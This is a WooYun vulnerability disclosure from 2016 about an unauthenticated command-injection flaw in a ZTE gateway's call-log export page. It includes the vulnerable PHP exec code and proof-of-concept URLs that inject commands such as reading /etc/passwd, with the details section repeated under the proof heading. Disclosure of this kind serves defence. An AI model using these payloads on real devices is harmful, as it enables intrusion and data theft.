当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0191240

漏洞标题:中兴某网关设备存在命令执行漏洞(无需登录)

相关厂商:中兴通讯股份有限公司

漏洞作者: 路人甲

提交时间:2016-04-01 09:55

修复时间:2016-06-30 15:10

公开时间:2016-06-30 15:10

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-04-01: 细节已通知厂商并且等待厂商处理中
2016-04-01: 厂商已经确认,细节仅向厂商公开
2016-04-04: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-05-26: 细节向核心白帽子及相关领域专家公开
2016-06-05: 细节向普通白帽子公开
2016-06-15: 细节向实习白帽子公开
2016-06-30: 细节向公众公开

简要描述:

中兴某网关设备存在命令执行漏洞(无需登录)

详细说明:

直接给出漏洞的poc
/modules/reporting/reporting_calllogs_export.php?callstart_time=1;ifconfig>wy.txt
callstart_time、callend_time参数存在命令执行
这个文件的部分代码为:

$today  = date('Y-m-d', time());
$s_date = isset($_GET['callstart_time']) ? trim($_GET['callstart_time']) : $today;
$e_date = isset($_GET['callend_time']) ? trim($_GET['callend_time']) : $today;
@exec("date +'%V' -d $today", $output_today);
$weeks_today = $output_today ? intval($output_today[0]) : 0;
@exec("date +'%V' -d $s_date", $output_s);
$weeks_from = $output_s ? intval($output_s[0]) : 0;
@exec("date +'%V' -d $e_date", $output_e);
$weeks_to = $output_e ? intval($output_e[0]) : 0;


很明显的命令执行,只要提交构造好的callend_time或callstart_time参数即可执行任意命令

/modules/reporting/reporting_calllogs_export.php?callstart_time=1;cat /etc/passwd>wy.txt


0x1 **.**.**.**
**.**.**.**/modules/reporting/wx.txt

a.png


0x2 **.**.**.**/
**.**.**.**/modules/reporting/wx.txt

b.png


0x3 **.**.**.**
**.**.**.**/modules/reporting/wx.txt

c.png


再给出其他几个案例:

**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/

漏洞证明:

直接给出漏洞的poc
/modules/reporting/reporting_calllogs_export.php?callstart_time=1;ifconfig>wy.txt
callstart_time、callend_time参数存在命令执行
这个文件的部分代码为:

$today  = date('Y-m-d', time());
$s_date = isset($_GET['callstart_time']) ? trim($_GET['callstart_time']) : $today;
$e_date = isset($_GET['callend_time']) ? trim($_GET['callend_time']) : $today;
@exec("date +'%V' -d $today", $output_today);
$weeks_today = $output_today ? intval($output_today[0]) : 0;
@exec("date +'%V' -d $s_date", $output_s);
$weeks_from = $output_s ? intval($output_s[0]) : 0;
@exec("date +'%V' -d $e_date", $output_e);
$weeks_to = $output_e ? intval($output_e[0]) : 0;


很明显的命令执行,只要提交构造好的callend_time或callstart_time参数即可执行任意命令

/modules/reporting/reporting_calllogs_export.php?callstart_time=1;cat /etc/passwd>wy.txt


0x1 **.**.**.**
**.**.**.**/modules/reporting/wx.txt

a.png


0x2 **.**.**.**/
**.**.**.**/modules/reporting/wx.txt

b.png


0x3 **.**.**.**
**.**.**.**/modules/reporting/wx.txt

c.png

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2016-04-01 15:06

厂商回复:

感谢~

最新状态:

暂无